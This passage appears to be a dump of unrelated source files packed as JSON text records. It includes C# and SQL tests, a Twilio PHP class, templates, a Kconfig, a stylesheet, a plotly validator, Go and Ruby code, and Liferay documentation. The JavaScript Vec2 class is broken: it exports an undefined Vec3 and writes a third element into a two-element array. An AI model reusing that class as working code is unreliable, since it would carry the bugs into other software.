\n\t\t/// Two data set to use while testing.\n\t\t/// Initialize this dataset using InitDataSet()\n\t\t/// \n\t\tprivate DataSet m_dsData;\n\t\tprivate DataTable m_dtFirst;\n\t\tprivate DataTable m_dtSecond;\n\n\t\t/// \n\t\t/// An array of Item objects that can be used as a datasource.\n\t\t/// initialize the array using InitArray()\n\t\t/// \n\t\tprivate DataItem[] m_items;\n\t\t#endregion\n\n\t\t#region \"Private methods\"\n\t\t/// \n\t\t/// Initializes the collection of types derived from ListControl.\n\t\t/// \n\t\tprivate static void initTypes()\n\t\t{\n\t\t\tm_types.Add(typeof(ListBox));\n\t\t\tm_types.Add(typeof(DropDownList));\n\t\t\tm_types.Add(typeof(RadioButtonList));\n\t\t\tm_types.Add(typeof(CheckBoxList));\n\t\t}\n\t\t/// \n\t\t/// Creates new sub test and adds a new ListControl to it.\n\t\t/// \n\t\t/// Actual type of the tested control\n\t\t/// subtests description\n\t\tprivate void GHTListContorlSubTestBegin(Type ctrlType, string description)\n\t\t{\n\t\t\tm_lcToTest = (ListControl)GHTElementClone(ctrlType);\n\t\t\tm_lcToTest.ID = \"_ctrl\" + m_controlsCounter;\n\t\t\tm_controlsCounter++;\n\t\t\tGHTSubTestBegin(description);\n\t\t\tGHTActiveSubTest.Controls.Add(m_lcToTest);\n\t\t}\n\t\t\n\t\t/// \n\t\t/// Initializes both m_dtFirst, and m_dtSecond with names (\"First\", \"Second\"), columns, and data.\n\t\t/// \n\t\tprivate void InitDataSet()\n\t\t{\n\t\t\tm_dtFirst = new DataTable(\"First\");\n\t\t\tm_dtFirst.Columns.Add(\"int Column\", typeof(int));\n\t\t\tm_dtFirst.Columns.Add(\"bool Column\", typeof(bool));\n\t\t\tm_dtFirst.Columns.Add(\"char Column\", typeof(char));\n\n\t\t\tm_dtSecond = new DataTable(\"Second\");\n\t\t\tm_dtSecond.Columns.Add(\"double Column\", typeof(int));\n\t\t\tm_dtSecond.Columns.Add(\"byte Column\", typeof(bool));\n\t\t\tm_dtSecond.Columns.Add(\"time Column\", typeof(DateTime));\n\n\t\t\tfor (int i=0; i<10; i++)\n\t\t\t{\n\t\t\t\tDataRow dr1 = m_dtFirst.NewRow();\n\t\t\t\tdr1[\"int Column\"] = i;\n\t\t\t\tdr1[\"bool Column\"] = ( i % 2 == 0 ) ? true : false;\n\t\t\t\tdr1[\"char Column\"] = (char)(i + 'a');\n\t\t\t\tm_dtFirst.Rows.Add(dr1);\n\n\t\t\t\tDataRow dr2 = m_dtSecond.NewRow();\n\t\t\t\tdr2[\"double Column\"] = double.Epsilon * i;\n\t\t\t\tdr2[\"byte Column\"] = (byte)( i % 10);\n\t\t\t\tdr2[\"time Column\"] = DateTime.Now;\n\t\t\t\tm_dtSecond.Rows.Add(dr2);\n\t\t\t}\n\n\t\t\tm_dsData = new DataSet(\"Test dataset\");\n\t\t\tm_dsData.Tables.Add(m_dtFirst);\n\t\t\tm_dsData.Tables.Add(m_dtSecond);\n\t\t}\n\n\n\t\tprivate void InitArray()\n\t\t{\n\t\t\tm_items = new DataItem[] {\tnew DataItem(1, \"aaa\"),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tnew DataItem(2, \"bbb\"),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tnew DataItem(3, \"ccc\"),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tnew DataItem(4, \"ddd\"),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tnew DataItem(5, \"eee\"),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tnew DataItem(6, \"fff\"),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tnew DataItem(7, \"ggg\")};\n\t\t}\n\n\t\t/// \n\t\t/// Nested class, to use as the items of the m_items array.\n\t\t/// \n\t\tprivate class DataItem\n\t\t{\n\t\t\tpublic DataItem(int a_id, string a_name)\n\t\t\t{\n\t\t\t\tid = a_id;\n\t\t\t\tname = a_name;\n\t\t\t}\n\n\t\t\tprivate int id;\n\t\t\tprivate string name;\n\n\t\t\tpublic int Id\n\t\t\t{\n\t\t\t\tget\n\t\t\t\t{\n\t\t\t\t\treturn id;\n\t\t\t\t}\n\t\t\t\tset\n\t\t\t\t{\n\t\t\t\t\tid = value;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tpublic string Name\n\t\t\t{\n\t\t\t\tget\n\t\t\t\t{\n\t\t\t\t\treturn name;\n\t\t\t\t}\n\t\t\t\tset\n\t\t\t\t{\n\t\t\t\t\tname = value;\n\t\t\t\t}\n\n\t\t\t}\n\n\n\t\t\tpublic override string ToString()\n\t\t\t{\n\t\t\t\treturn id.ToString() + name;\n\t\t\t}\n\t\t}\n\t}\n\t#endregion\n\n}\n"} +{"text": "solution = $solution;\n }\n\n public function buildInstance(array $payload) {\n return new SandboxInstance(\n $this->version,\n $payload,\n $this->solution['accountSid']\n );\n }\n\n /**\n * Provide a friendly representation\n * \n * @return string Machine friendly representation\n */\n public function __toString() {\n return '[Twilio.Api.V2010.SandboxPage]';\n }\n}"} +{"text": "\n\n\n \n \n 物联网及智慧家庭云管理平台\n \n\n\n
\n
\n
\n
\n
\n 物联网及智慧家庭云管理平台\n
\n \n
\n
\n
\n
\n
\n 当前在线人数:0\n
\n
\n
\n
\n
\n
\n
\n \n
\n
\n\n
\n
\n
\n
\n
\n
\n \n \n \n \n \n \n \n \n \n \n \n \n \n
\n \n
\n \n
\n 登录\n 重置\n
\n
\n
\n\n"} +{"text": "

{{t 'userPreferencesPage.generalInfo.header'}}

\n
\n
\n
\n \n {{input-or-display editable=editing value=account.name}}\n
\n
\n
\n
\n \n {{input-or-display editable=editing value=account.login}}\n
\n
\n
\n
\n \n
\n
\n
\n"} +{"text": "/* ============================================================\n *\n * This file is a part of digiKam project\n * https://www.digikam.org\n *\n * Date : 2004-09-19\n * Description : a options group to set renaming files\n * operations during camera downloading\n *\n * Copyright (C) 2004-2005 by Renchi Raju \n * Copyright (C) 2006-2019 by Gilles Caulier \n * Copyright (C) 2011 by Andi Clemens \n *\n * This program is free software; you can redistribute it\n * and/or modify it under the terms of the GNU General\n * Public License as published by the Free Software Foundation;\n * either version 2, or (at your option)\n * any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * ============================================================ */\n\n#ifndef DIGIKAM_RENAME_CUSTOMIZER_H\n#define DIGIKAM_RENAME_CUSTOMIZER_H\n\n// Qt includes\n\n#include \n#include \n#include \n\n// Local includes\n\n#include \"digikam_export.h\"\n\nnamespace Digikam\n{\n\nclass AdvancedRenameManager;\n\nclass DIGIKAM_EXPORT RenameCustomizer : public QWidget\n{\n Q_OBJECT\n\npublic:\n\n enum Case\n {\n NONE = 0,\n UPPER,\n LOWER\n };\n\npublic:\n \n explicit RenameCustomizer(QWidget* const parent, const QString& cameraTitle);\n ~RenameCustomizer();\n\n void setUseDefault(bool val);\n bool useDefault() const;\n QString newName(const QString& fileName) const;\n Case changeCase() const;\n void setChangeCase(Case val);\n\n int startIndex() const;\n void setStartIndex(int startIndex);\n void reset();\n\n AdvancedRenameManager* renameManager() const;\n\nQ_SIGNALS:\n\n void signalChanged();\n\nprivate:\n\n void readSettings();\n void saveSettings();\n\nprivate Q_SLOTS:\n\n void slotRadioButtonClicked(int);\n void slotRenameOptionsChanged();\n void slotCustomRenameChanged();\n void slotFileMetadataLinkUsed();\n\nprivate:\n\n class Private;\n Private* const d;\n};\n\n} // namespace Digikam\n\n#endif // DIGIKAM_RENAME_CUSTOMIZER_H\n"} +{"text": "\n\n\n\n\tbundleid\n\tshanbay\n\tconnections\n\t\n\t\tD56867E6-4520-4630-B246-10F748BDABF5\n\t\t\n\t\tF8F1B29B-584E-47DC-9905-A71467B0B0F1\n\t\t\n\t\t\t\n\t\t\t\tdestinationuid\n\t\t\t\tBFBCC2BE-EB84-4FEA-8C37-8C8FF2310B49\n\t\t\t\tmodifiers\n\t\t\t\t0\n\t\t\t\tmodifiersubtext\n\t\t\t\t\n\t\t\t\n\t\t\n\t\tFAAFF273-243F-47BD-9C42-D2C2DFEF010A\n\t\t\n\t\t\t\n\t\t\t\tdestinationuid\n\t\t\t\tF8F1B29B-584E-47DC-9905-A71467B0B0F1\n\t\t\t\tmodifiers\n\t\t\t\t0\n\t\t\t\tmodifiersubtext\n\t\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\tdestinationuid\n\t\t\t\tD56867E6-4520-4630-B246-10F748BDABF5\n\t\t\t\tmodifiers\n\t\t\t\t1048576\n\t\t\t\tmodifiersubtext\n\t\t\t\t打开单词网页\n\t\t\t\n\t\t\n\t\n\tcreatedby\n\tHenter\n\tdescription\n\t扇贝词典,单词查询,加入生词本。\n\tdisabled\n\t\n\tname\n\t扇贝词典\n\tobjects\n\t\n\t\t\n\t\t\tconfig\n\t\t\t\n\t\t\t\targumenttype\n\t\t\t\t0\n\t\t\t\tescaping\n\t\t\t\t62\n\t\t\t\tkeyword\n\t\t\t\tsb\n\t\t\t\trunningsubtext\n\t\t\t\t查询中...\n\t\t\t\tscript\n\t\t\t\t/Users/henter/.virtualenvs/myenv/bin/python shanbay.py \"{query}\"\n\t\t\t\tsubtext\n\t\t\t\t查询扇贝网,并添加到词库。\n\t\t\t\ttitle\n\t\t\t\t扇贝词典\n\t\t\t\ttype\n\t\t\t\t0\n\t\t\t\twithspace\n\t\t\t\t\n\t\t\t\n\t\t\ttype\n\t\t\talfred.workflow.input.scriptfilter\n\t\t\tuid\n\t\t\tFAAFF273-243F-47BD-9C42-D2C2DFEF010A\n\t\t\n\t\t\n\t\t\tconfig\n\t\t\t\n\t\t\t\tescaping\n\t\t\t\t62\n\t\t\t\tscript\n\t\t\t\t/Users/henter/.virtualenvs/myenv/bin/python addword.py \"{query}\"\n\t\t\t\ttype\n\t\t\t\t0\n\t\t\t\n\t\t\ttype\n\t\t\talfred.workflow.action.script\n\t\t\tuid\n\t\t\tF8F1B29B-584E-47DC-9905-A71467B0B0F1\n\t\t\n\t\t\n\t\t\tconfig\n\t\t\t\n\t\t\t\tlastpathcomponent\n\t\t\t\t\n\t\t\t\tonlyshowifquerypopulated\n\t\t\t\t\n\t\t\t\toutput\n\t\t\t\t0\n\t\t\t\tremoveextension\n\t\t\t\t\n\t\t\t\tsticky\n\t\t\t\t\n\t\t\t\ttext\n\t\t\t\t{query}\n\t\t\t\ttitle\n\t\t\t\t扇贝单词\n\t\t\t\n\t\t\ttype\n\t\t\talfred.workflow.output.notification\n\t\t\tuid\n\t\t\tBFBCC2BE-EB84-4FEA-8C37-8C8FF2310B49\n\t\t\n\t\t\n\t\t\tconfig\n\t\t\t\n\t\t\t\tplusspaces\n\t\t\t\t\n\t\t\t\turl\n\t\t\t\thttp://www.shanbay.com/vocabulary/{query}\n\t\t\t\tutf8\n\t\t\t\t\n\t\t\t\n\t\t\ttype\n\t\t\talfred.workflow.action.openurl\n\t\t\tuid\n\t\t\tD56867E6-4520-4630-B246-10F748BDABF5\n\t\t\n\t\n\treadme\n\t\n\tuidata\n\t\n\t\tBFBCC2BE-EB84-4FEA-8C37-8C8FF2310B49\n\t\t\n\t\t\typos\n\t\t\t10\n\t\t\n\t\tD56867E6-4520-4630-B246-10F748BDABF5\n\t\t\n\t\t\typos\n\t\t\t250\n\t\t\n\t\tF8F1B29B-584E-47DC-9905-A71467B0B0F1\n\t\t\n\t\t\typos\n\t\t\t10\n\t\t\n\t\tFAAFF273-243F-47BD-9C42-D2C2DFEF010A\n\t\t\n\t\t\typos\n\t\t\t10\n\t\t\n\t\n\twebaddress\n\thttp://henter.me\n\n\n"} +{"text": "#\n# EISA configuration\n#\nconfig EISA_VLB_PRIMING\n\tbool \"Vesa Local Bus priming\"\n\tdepends on X86 && EISA\n\tdefault n\n\t---help---\n\t Activate this option if your system contains a Vesa Local\n\t Bus (VLB) card that identify itself as an EISA card (such as\n\t the Adaptec AHA-284x).\n\n\t When in doubt, say N.\n\nconfig EISA_PCI_EISA\n\tbool \"Generic PCI/EISA bridge\"\n\tdepends on !PARISC && PCI && EISA\n\tdefault y\n\t---help---\n\t Activate this option if your system contains a PCI to EISA\n\t bridge. If your system have both PCI and EISA slots, you\n\t certainly need this option.\n\n\t When in doubt, say Y.\n\n# Using EISA_VIRTUAL_ROOT on something other than an Alpha or\n# an X86 may lead to crashes...\n\nconfig EISA_VIRTUAL_ROOT\n\tbool \"EISA virtual root device\"\n\tdepends on EISA && (ALPHA || X86)\n\tdefault y\n\t---help---\n\t Activate this option if your system only have EISA bus\n\t (no PCI slots). The Alpha Jensen is an example of such\n\t a system.\n\n\t When in doubt, say Y.\n\nconfig EISA_NAMES\n\tbool \"EISA device name database\"\n\tdepends on EISA\n\tdefault y\n\t---help---\n\t By default, the kernel contains a database of all known EISA\n\t device names to make the information in sysfs comprehensible\n\t to the user. This database increases size of the kernel\n\t image by about 40KB, but it gets freed after the system\n\t boots up, so it doesn't take up kernel memory. Anyway, if\n\t you are building an installation floppy or kernel for an\n\t embedded system where kernel image size really matters, you\n\t can disable this feature and you'll get device ID instead of\n\t names.\n\n\t When in doubt, say Y.\n\n"} +{"text": "@import \"ui-variables\";\n\n@margin: .5 * @component-padding;\n\n.gomodifytags {\n font-size: @font-size;\n\n label {\n font-size: 1.25 * @font-size;\n padding-right: @component-padding;\n }\n\n .go-tags-flex-container {\n display: flex;\n flex-direction: row;\n flex-wrap: nowrap;\n justify-content: flex-start;\n align-content: stretch;\n align-items: center;\n vertical-align: middle;\n\n button {\n order: 0;\n flex: 0 1 auto;\n align-self: auto;\n margin-bottom: 10px;\n }\n\n div {\n margin-left: 2px;\n margin-right: 2px;\n order: 0;\n flex: 2 1 auto;\n align-self: auto;\n }\n }\n\n .go-tags-list {\n font-size: 16px;\n\n h3 {\n font-size: 115%;\n }\n }\n\n .btn {\n margin-right: @margin;\n margin-left: @margin;\n }\n\n .case-radio-buttons {\n .input-label {\n padding-right: @component-padding;\n padding-bottom: @component-padding;\n }\n }\n\n atom-text-editor[mini] {\n &.invalid-input-value {\n border-color: @text-color-error;\n box-shadow: 0 0 0 1px @text-color-error;\n background-color: mix(@text-color-error, @input-background-color, 10%);\n\n .selection .region {\n background-color: mix(@text-color-error, @input-background-color, 50%);\n }\n\n .cursor {\n border-color: @text-color-error;\n }\n }\n }\n}\n"} +{"text": "import _plotly_utils.basevalidators\n\n\nclass TickfontValidator(_plotly_utils.basevalidators.CompoundValidator):\n def __init__(\n self, plotly_name=\"tickfont\", parent_name=\"isosurface.colorbar\", **kwargs\n ):\n super(TickfontValidator, self).__init__(\n plotly_name=plotly_name,\n parent_name=parent_name,\n data_class_str=kwargs.pop(\"data_class_str\", \"Tickfont\"),\n data_docs=kwargs.pop(\n \"data_docs\",\n \"\"\"\n color\n\n family\n HTML font family - the typeface that will be\n applied by the web browser. The web browser\n will only be able to apply a font if it is\n available on the system which it operates.\n Provide multiple font families, separated by\n commas, to indicate the preference in which to\n apply fonts if they aren't available on the\n system. The Chart Studio Cloud (at\n https://chart-studio.plotly.com or on-premise)\n generates images on a server, where only a\n select number of fonts are installed and\n supported. These include \"Arial\", \"Balto\",\n \"Courier New\", \"Droid Sans\",, \"Droid Serif\",\n \"Droid Sans Mono\", \"Gravitas One\", \"Old\n Standard TT\", \"Open Sans\", \"Overpass\", \"PT Sans\n Narrow\", \"Raleway\", \"Times New Roman\".\n size\n\n\"\"\",\n ),\n **kwargs\n )\n"} +{"text": "RSpec.describe TTY::ProgressBar, ':total_byte token' do\n let(:output) { StringIO.new('', 'w+') }\n\n it \"displays bytes total\" do\n progress = described_class.new(\":total_byte\", output: output, total: 102_400)\n 5.times { progress.advance(20_480) }\n output.rewind\n expect(output.read).to eq([\n \"\\e[1G100.00KB\",\n \"\\e[1G100.00KB\",\n \"\\e[1G100.00KB\",\n \"\\e[1G100.00KB\",\n \"\\e[1G100.00KB\\n\"\n ].join)\n end\n\n it \"displays unknown bytes progress without total\" do\n progress = described_class.new(\":total_byte\", output: output, total: nil)\n 3.times { progress.advance(20_480) }\n progress.update(total: 102_400)\n 2.times { progress.advance(20_480) }\n output.rewind\n expect(output.read).to eq([\n \"\\e[1G-B\",\n \"\\e[1G-B\",\n \"\\e[1G-B\",\n \"\\e[1G100.00KB\",\n \"\\e[1G100.00KB\\n\"\n ].join)\n end\nend\n"} +{"text": "class Vec2 extends Float32Array{\n\tconstructor(ini){\n\t\tsuper(2);\n\t\tif(ini instanceof Vec3 || (ini && ini.length == 2)){\n\t\t\tthis[0] = ini[0]; this[1] = ini[1];\n\t\t}else if(arguments.length == 2){\n\t\t\tthis[0] = arguments[0]; this[1] = arguments[1];\n\t\t}else{\n\t\t\tthis[0] = this[1] = this[2] = ini || 0;\n\t\t}\n\t\tthis.isModified = true;\n\t}\n\n\t//----------------------------------------------\n\t// XYZ Setters\n\tset(x,y){ this[0] = x; this[1] = y; this.isModified = true; return this;}\n\n\tget x(){ return this[0]; }\tset x(val){ this[0] = val; this.isModified = true; }\n\tget y(){ return this[1]; }\tset y(val){ this[1] = val; this.isModified = true; }\n\n\n\t//----------------------------------------------\n\t// Methods\n\tlength(v){\n\t\t//Only get the magnitude of this vector\n\t\tif(v === undefined) return Math.sqrt( this[0]*this[0] + this[1]*this[1] );\n\n\t\t//Get magnitude based on another vector\n\t\tvar x = this[0] - v[0],\n\t\t\ty = this[1] - v[1];\n\n\t\treturn Math.sqrt( x*x + y*y );\n\t}\n\t\n\tlengthSqr(v){ //TODO Rename to LengthSqr\n\t\t//Only get the squared magnitude of this vector\n\t\tif(v === undefined) return this[0]*this[0] + this[1]*this[1];\n\n\t\t//Get squared magnitude based on another vector\n\t\tvar x = this[0] - v[0],\n\t\t\ty = this[1] - v[1];\n\n\t\treturn x*x + y*y;\n\t}\n\n\tnormalize(out){\n\t\tvar mag = Math.sqrt( this[0]*this[0] + this[1]*this[1] );\n\t\tif(mag == 0) return this;\n\n\t\tout = out || this;\n\t\tout[0] = this[0] / mag;\n\t\tout[1] = this[1] / mag;\n\t\tif(out === this) this.isModified = true;\n\t\treturn this;\n\t}\n\n\tscale(v,out){\n\t\tout = out || this;\n\t\tout[0] = this[0] * v;\n\t\tout[1] = this[1] * v;\n\t\tif(out === this) this.isModified = true;\n\t\treturn this;\n\t}\n\n\tmul(v,out){\n\t\tout = out || this;\n\t\tout[0] = this[0] * v[0];\n\t\tout[1] = this[1] * v[1];\n\t\tif(out === this) this.isModified = true;\n\t\treturn this;\n\t}\n\n\tadd(v,out){\n\t\tout = out || this;\n\t\tout[0] = this[0] + v[0];\n\t\tout[1] = this[1] + v[1];\n\t\tif(out === this) this.isModified = true;\n\t\treturn this;\n\t}\n\n\tsub(v,out){\n\t\tout = out || this;\n\t\tout[0] = this[0] - v[0];\n\t\tout[1] = this[1] - v[1];\n\t\tif(out === this) this.isModified = true;\n\t\treturn this;\n\t}\n\n\tdiv(v,out){\n\t\tout = out || this;\n\t\tout[0] = (v[0] != 0)? this[0] / v[0] : 0;\n\t\tout[1] = (v[1] != 0)? this[1] / v[1] : 0;\n\t\tif(out === this) this.isModified = true;\n\t\treturn this;\n\t}\n\n\tdivInvScale(v,out){\n\t\tout = out || this;\n\t\tout[0] = (this[0] != 0)? v / this[0] : 0;\n\t\tout[1] = (this[1] != 0)? v / this[1] : 0;\n\t\tif(out === this) this.isModified = true;\n\t\treturn this;\n\t}\t\n\n\tclone(){ return new Vec2().set(this.x,this.y); }\n\t\n\tcopy(v){ this[0] = v[0]; this[1] = v[1]; this.isModified = true; return this; }\n\n\tscalar(s,out){\n\t\tout = out || this;\n\t\tout[0] = this[0] * s;\n\t\tout[1] = this[1] * s;\n\t\tif(out === this) this.isModified = true;\n\t\treturn this;\n\t}\n}\n\nexport default Vec3"} +{"text": "package buildid\n\nimport (\n\t\"context\"\n\n\t\"google.golang.org/grpc/metadata\"\n)\n\nvar metadataKey = \"buildkit-controlapi-buildid\"\n\nfunc AppendToOutgoingContext(ctx context.Context, id string) context.Context {\n\tif id != \"\" {\n\t\treturn metadata.AppendToOutgoingContext(ctx, metadataKey, id)\n\t}\n\treturn ctx\n}\n\nfunc FromIncomingContext(ctx context.Context) string {\n\tmd, ok := metadata.FromIncomingContext(ctx)\n\tif !ok {\n\t\treturn \"\"\n\t}\n\n\tif ids := md.Get(metadataKey); len(ids) == 1 {\n\t\treturn ids[0]\n\t}\n\n\treturn \"\"\n}\n"} +{"text": "---\nheader-id: virtual-instances\n---\n\n# Virtual Instances\n\n[TOC levels=1-4]\n\nHere's a quick scenario: you already have a server hosting a @product@ \ninstallation and a database. It has many \n[Users](/docs/7-2/user/-/knowledge_base/u/users-and-organizations), \n[Sites](/docs/7-2/user/-/knowledge_base/u/building-a-site), \nand specific \n[instance settings](/docs/7-2/user/-/knowledge_base/u/instance-configuration-instance-settings#general). \nIf you require a second similar installation, then adding a *Virtual Instance* \nmight be right for you. \n\nYou can run more than one Virtual Instance on a single server with a shared \ndatabase, but separate data and configurations. Users are directed to the \ncorrect Virtual Instance via its unique domain name. And because Virtual \nInstances share an application server and OSGi container, they also share these \ncustomizations: \n\n- Custom code deployed by developers and administrators.\n- [System-scoped configurations](/docs/7-2/user/-/knowledge_base/u/system-settings) \n (e.g., `.config` files, changes made in *Control Panel* → \n *Configuration* → *System Settings*). \n- Application server configuration.\n\nAdministrators can manage Virtual Instances in *Control Panel* → \n*Configuration* → *System Settings*.\n\n![Figure 1: Add and manage virtual instances of Liferay in the Control Panel's *Configuration* → *Virtual Instances* section.](../../../images/virtual-instances.png)\n\nFollow these steps to create a Virtual Instance: \n\n1. Before you create a Virtual Instance, configure its domain name in your \n network. \n\n2. Go to *Control Panel* → *Configuration* → *Virtual Instances*. \n\n3. Click the *Add* button \n (![Add](../../../images/icon-add.png)). \n This opens the *New Instance* form. \n\n4. Complete the New Instance form as follows:\n\n**Web ID:** The instance's ID. Using the domain name is a common convention.\n\n**Virtual Host:** The domain name you configured in your network. When users are\ndirected to your server via this domain name, they'll be sent to the Virtual\nInstance that contains their data.\n\n**Mail Domain:** The mail host's domain name for the Virtual Instance. \nEmail notifications are sent from the instance using this domain. \n\n**Max Users:** The maximum number of user accounts the Virtual Instance \nsupports. Enter *0* to support unlimited users. \n\n**Active:** Whether the Virtual Instance is active. Note that inactive \nVirtual Instances aren't accessible to anyone, even the administrator. \n\nClick *Save* when you're done filling out the form. \n\nNow you can navigate to the instance using its domain name. You're brought to \nwhat looks like a clean install of @product@. This is your new Virtual Instance! \nYou can configure it any way you like. The remaining articles in this section \nshow you how to configure an instance's settings. \n"} +{"text": "using System;\nusing NUnit.Framework;\nusing Projac.SqlClient;\n\nnamespace Projac.Sql.Tests.SqlClient\n{\n public partial class SqlClientSyntaxTests\n {\n [Test]\n public void VarCharReturnsExpectedInstance()\n {\n Assert.That(Sql.VarChar(\"value\", 123), Is.EqualTo(new TSqlVarCharValue(\"value\", new TSqlVarCharSize(123))));\n }\n\n [Test]\n public void VarCharNullReturnsExpectedInstance()\n {\n Assert.That(Sql.VarChar(null, 123), Is.EqualTo(new TSqlVarCharNullValue(new TSqlVarCharSize(123))));\n }\n\n [Test]\n public void CharReturnsExpectedInstance()\n {\n Assert.That(Sql.Char(\"value\", 123), Is.EqualTo(new TSqlCharValue(\"value\", new TSqlCharSize(123))));\n }\n\n [Test]\n public void CharNullReturnsExpectedInstance()\n {\n Assert.That(Sql.Char(null, 123), Is.EqualTo(new TSqlCharNullValue(new TSqlCharSize(123))));\n }\n\n [Test]\n public void VarCharMaxReturnsExpectedInstance()\n {\n Assert.That(Sql.VarCharMax(\"value\"), Is.EqualTo(new TSqlVarCharValue(\"value\", TSqlVarCharSize.Max)));\n }\n\n [Test]\n public void VarCharMaxNullReturnsExpectedInstance()\n {\n Assert.That(Sql.VarCharMax(null), Is.EqualTo(new TSqlVarCharNullValue(TSqlVarCharSize.Max)));\n }\n\n [Test]\n public void NVarCharReturnsExpectedInstance()\n {\n Assert.That(Sql.NVarChar(\"value\", 123), Is.EqualTo(new TSqlNVarCharValue(\"value\", new TSqlNVarCharSize(123))));\n }\n\n [Test]\n public void NVarCharNullReturnsExpectedInstance()\n {\n Assert.That(Sql.NVarChar(null, 123), Is.EqualTo(new TSqlNVarCharNullValue(new TSqlNVarCharSize(123))));\n }\n\n [Test]\n public void NCharReturnsExpectedInstance()\n {\n Assert.That(Sql.NChar(\"value\", 123), Is.EqualTo(new TSqlNCharValue(\"value\", new TSqlNCharSize(123))));\n }\n\n [Test]\n public void NCharNullReturnsExpectedInstance()\n {\n Assert.That(Sql.NChar(null, 123), Is.EqualTo(new TSqlNCharNullValue(new TSqlNCharSize(123))));\n }\n\n [Test]\n public void NVarCharMaxReturnsExpectedInstance()\n {\n Assert.That(Sql.NVarCharMax(\"value\"), Is.EqualTo(new TSqlNVarCharValue(\"value\", TSqlNVarCharSize.Max)));\n }\n\n [Test]\n public void NVarCharMaxNullReturnsExpectedInstance()\n {\n Assert.That(Sql.NVarCharMax(null), Is.EqualTo(new TSqlNVarCharNullValue(TSqlNVarCharSize.Max)));\n }\n\n [Test]\n public void BinaryReturnsExpectedInstance()\n {\n Assert.That(Sql.Binary(new byte[] { 1, 2, 3 }, 123), Is.EqualTo(new TSqlBinaryValue(new byte[] { 1, 2, 3 }, new TSqlBinarySize(123))));\n }\n\n [Test]\n public void BinaryNullReturnsExpectedInstance()\n {\n Assert.That(Sql.Binary(null, 123), Is.EqualTo(new TSqlBinaryNullValue(new TSqlBinarySize(123))));\n }\n\n [Test]\n public void VarBinaryReturnsExpectedInstance()\n {\n Assert.That(Sql.VarBinary(new byte[] { 1, 2, 3 }, 123), Is.EqualTo(new TSqlVarBinaryValue(new byte[] { 1, 2, 3 }, new TSqlVarBinarySize(123))));\n }\n\n [Test]\n public void VarBinaryNullReturnsExpectedInstance()\n {\n Assert.That(Sql.VarBinary(null, 123), Is.EqualTo(new TSqlVarBinaryNullValue(new TSqlVarBinarySize(123))));\n }\n\n [Test]\n public void VarBinaryMaxReturnsExpectedInstance()\n {\n Assert.That(Sql.VarBinaryMax(new byte[] { 1, 2, 3 }), Is.EqualTo(new TSqlVarBinaryValue(new byte[] { 1, 2, 3 }, TSqlVarBinarySize.Max)));\n }\n\n [Test]\n public void VarBinaryMaxNullReturnsExpectedInstance()\n {\n Assert.That(Sql.VarBinaryMax(null), Is.EqualTo(new TSqlVarBinaryNullValue(TSqlVarBinarySize.Max)));\n }\n\n [Test]\n public void BigIntReturnsExpectedInstance()\n {\n Assert.That(Sql.BigInt(123), Is.EqualTo(new TSqlBigIntValue(123)));\n }\n\n [Test]\n public void BigIntNullReturnsExpectedInstance()\n {\n Assert.That(Sql.BigInt(null), Is.EqualTo(TSqlBigIntNullValue.Instance));\n }\n\n [Test]\n public void IntReturnsExpectedInstance()\n {\n Assert.That(Sql.Int(123), Is.EqualTo(new TSqlIntValue(123)));\n }\n\n [Test]\n public void IntNullReturnsExpectedInstance()\n {\n Assert.That(Sql.Int(null), Is.EqualTo(TSqlIntNullValue.Instance));\n }\n\n [Test]\n public void BitReturnsExpectedInstance()\n {\n Assert.That(Sql.Bit(true), Is.EqualTo(new TSqlBitValue(true)));\n }\n\n [Test]\n public void BitNullReturnsExpectedInstance()\n {\n Assert.That(Sql.Bit(null), Is.EqualTo(TSqlBitNullValue.Instance));\n }\n\n [Test]\n public void UniqueIdentifierReturnsExpectedInstance()\n {\n Assert.That(Sql.UniqueIdentifier(Guid.Empty), Is.EqualTo(new TSqlUniqueIdentifierValue(Guid.Empty)));\n }\n\n [Test]\n public void UniqueIdentifierNullReturnsExpectedInstance()\n {\n Assert.That(Sql.UniqueIdentifier(null), Is.EqualTo(TSqlUniqueIdentifierNullValue.Instance));\n }\n\n [Test]\n public void DateReturnsExpectedInstance()\n {\n var value = DateTime.UtcNow;\n Assert.That(Sql.Date(value), Is.EqualTo(new TSqlDateValue(value)));\n }\n\n [Test]\n public void DateNullReturnsExpectedInstance()\n {\n Assert.That(Sql.Date(null), Is.EqualTo(TSqlDateNullValue.Instance));\n }\n\n [Test]\n public void DateTimeReturnsExpectedInstance()\n {\n var value = DateTime.UtcNow;\n Assert.That(Sql.DateTime(value), Is.EqualTo(new TSqlDateTimeValue(value)));\n }\n\n [Test]\n public void DateTimeNullReturnsExpectedInstance()\n {\n Assert.That(Sql.DateTime(null), Is.EqualTo(TSqlDateTimeNullValue.Instance));\n }\n\n [Test]\n public void DateTime2WithoutPrecisionReturnsExpectedInstance()\n {\n var value = DateTime.UtcNow;\n Assert.That(Sql.DateTime2(value), Is.EqualTo(new TSqlDateTime2Value(value, 7)));\n }\n\n [Test]\n public void DateTime2ReturnsExpectedInstance()\n {\n var value = DateTime.UtcNow;\n Assert.That(Sql.DateTime2(value, 3), Is.EqualTo(new TSqlDateTime2Value(value, 3)));\n }\n\n [Test]\n public void DateTime2NullReturnsExpectedInstance()\n {\n Assert.That(Sql.DateTime2(null, 3), Is.EqualTo(new TSqlDateTime2NullValue(new TSqlDateTime2Precision(3))));\n }\n\n [Test]\n public void DateTime2NullWithoutPrecisionReturnsExpectedInstance()\n {\n Assert.That(Sql.DateTime2(null), Is.EqualTo(new TSqlDateTime2NullValue(TSqlDateTime2Precision.Default)));\n }\n\n [Test]\n public void DateTimeOffsetReturnsExpectedInstance()\n {\n var value = DateTimeOffset.UtcNow;\n Assert.That(Sql.DateTimeOffset(value), Is.EqualTo(new TSqlDateTimeOffsetValue(value)));\n }\n\n [Test]\n public void 